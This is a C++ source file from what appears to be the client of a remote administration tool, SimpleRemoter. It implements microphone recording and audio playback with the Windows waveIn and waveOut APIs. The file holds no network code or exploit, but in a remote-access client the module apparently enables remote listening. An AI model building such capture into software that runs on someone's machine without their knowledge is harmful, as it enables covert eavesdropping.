SimpleRemoter/client/Audio.cpp

// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "Audio.h"
#include <iostream>

#ifdef _WINDOWS
#define __CreateThread CreateThread
#else
#include "SafeThread.h"
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAudio::CAudio()
{
    m_bExit = FALSE;
    m_hThreadCallBack = false;
    m_Thread = NULL;
    m_bIsWaveInUsed = FALSE;
    m_bIsWaveOutUsed = FALSE;
    m_nWaveInIndex = 0;
    m_nWaveOutIndex		= 0;
    m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
    m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
    memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));

    m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
    m_GSMWavefmt.wfx.nChannels = 1;
    m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
    m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
    m_GSMWavefmt.wfx.nBlockAlign = 65;
    m_GSMWavefmt.wfx.wBitsPerSample = 0;
    m_GSMWavefmt.wfx.cbSize = 2;
    m_GSMWavefmt.wSamplesPerBlock = 320;

    m_ulBufferLength = 1000;

    for (int i = 0; i < 2; ++i) {
        m_InAudioData[i] = new BYTE[m_ulBufferLength];
        m_InAudioHeader[i] =  new WAVEHDR;

        m_OutAudioData[i] = new BYTE[m_ulBufferLength];
        m_OutAudioHeader[i] = new WAVEHDR;
    }
}

CAudio::~CAudio()
{
    m_bExit = TRUE;

    if (m_hEventWaveIn) {
        SetEvent(m_hEventWaveIn);
        SAFE_CLOSE_HANDLE(m_hEventWaveIn);
        m_hEventWaveIn = NULL;
    }
    if (m_hStartRecord) {
        SetEvent(m_hStartRecord);
        SAFE_CLOSE_HANDLE(m_hStartRecord);
        m_hStartRecord = NULL;
    }

    if (m_bIsWaveInUsed) {
        waveInStop(m_hWaveIn);
        waveInReset(m_hWaveIn);
        for (int i = 0; i < 2; ++i)
            waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));

        waveInClose(m_hWaveIn);
        WAIT (m_hThreadCallBack, 30);
        if (m_hThreadCallBack)
            Mprintf("没有成功关闭waveInCallBack.\n");
        TerminateThread(m_Thread, -999);
        m_Thread = NULL;
    }

    for (int i = 0; i < 2; ++i) {
        delete [] m_InAudioData[i];
        m_InAudioData[i] = NULL;
        delete [] m_InAudioHeader[i];
        m_InAudioHeader[i] = NULL;
    }

    if (m_bIsWaveOutUsed) {
        waveOutReset(m_hWaveOut);
        for (int i = 0; i < 2; ++i) {
            if (m_InAudioHeader[i])
                waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
        }
        waveOutClose(m_hWaveOut);
    }

    for (int i = 0; i < 2; ++i) {
        delete [] m_OutAudioData[i];
        m_OutAudioData[i] = NULL;
        delete [] m_OutAudioHeader[i];
        m_OutAudioHeader[i] = NULL;
    }
}

BOOL CAudio::InitializeWaveIn()
{
    MMRESULT	mmResult;
    DWORD		dwThreadID = 0;

    m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0,
                                   waveInCallBack, (LPVOID)this,
                                   CREATE_SUSPENDED, &dwThreadID);

    //打开录音设备COM  1 指定声音规格  2 支持通过线程回调 换缓冲
    mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
                          &(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);

    //m_hWaveIn 录音机句柄
    if (mmResult != MMSYSERR_NOERROR) {
        return FALSE;
    }

    //录音设备 需要的两个缓冲
    for (int i=0; i<2; ++i) {
        m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i];   //m_lpInAudioData 指针数组
        m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
        m_InAudioHeader[i]->dwFlags = 0;
        m_InAudioHeader[i]->dwLoops = 0;
        waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
    }

    waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
    if (m_Thread!=NULL) {
        ResumeThread(m_Thread);
    }
    waveInStart(m_hWaveIn);   //录音

    m_bIsWaveInUsed = TRUE;

    return true;
}

LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{
    //录音机
    if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) {
        return NULL;
    }

    SetEvent(m_hStartRecord);
    WaitForSingleObject(m_hEventWaveIn, INFINITE);
    *dwBufferSize = m_ulBufferLength;
    return	m_InAudioData[m_nWaveInIndex];              //返出真正数据
}

DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{
    CAudio	*This = (CAudio *)lParam;

    MSG	Msg;

    while (GetMessage(&Msg, NULL, 0, 0)) {
        if (This->m_bExit)
            break;
        if (Msg.message == MM_WIM_DATA) {
            SetEvent(This->m_hEventWaveIn);
            WaitForSingleObject(This->m_hStartRecord, INFINITE);
            if (This->m_bExit)
                break;

            Sleep(1);
            This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;

            //更新缓冲
            MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
                                                This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
            if (mmResult != MMSYSERR_NOERROR)
                break;
        }

        if (Msg.message == MM_WIM_CLOSE) {
            break;
        }

        TranslateMessage(&Msg);
        DispatchMessage(&Msg);
    }

    Mprintf("waveInCallBack end\n");
    This->m_hThreadCallBack = false;

    return 0XDEADAAAA;
}

BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
{
    if (!m_bIsWaveOutUsed && !InitializeWaveOut())  //1 音频格式   2 播音设备
        return NULL;

    for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) {
        memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
        waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
        m_nWaveOutIndex = 1 - m_nWaveOutIndex;
    }
    return true;
}

BOOL CAudio::InitializeWaveOut()
{
    if (!waveOutGetNumDevs())
        return FALSE;

    for (int i = 0; i < 2; ++i)
        memset(m_OutAudioData[i], 0, m_ulBufferLength);  //声音数据

    MMRESULT	mmResult;
    mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
    if (mmResult != MMSYSERR_NOERROR)
        return false;

    for (int i = 0; i < 2; ++i) {
        m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
        m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
        m_OutAudioHeader[i]->dwFlags = 0;
        m_OutAudioHeader[i]->dwLoops = 0;
        waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
    }

    m_bIsWaveOutUsed = TRUE;
    return TRUE;
}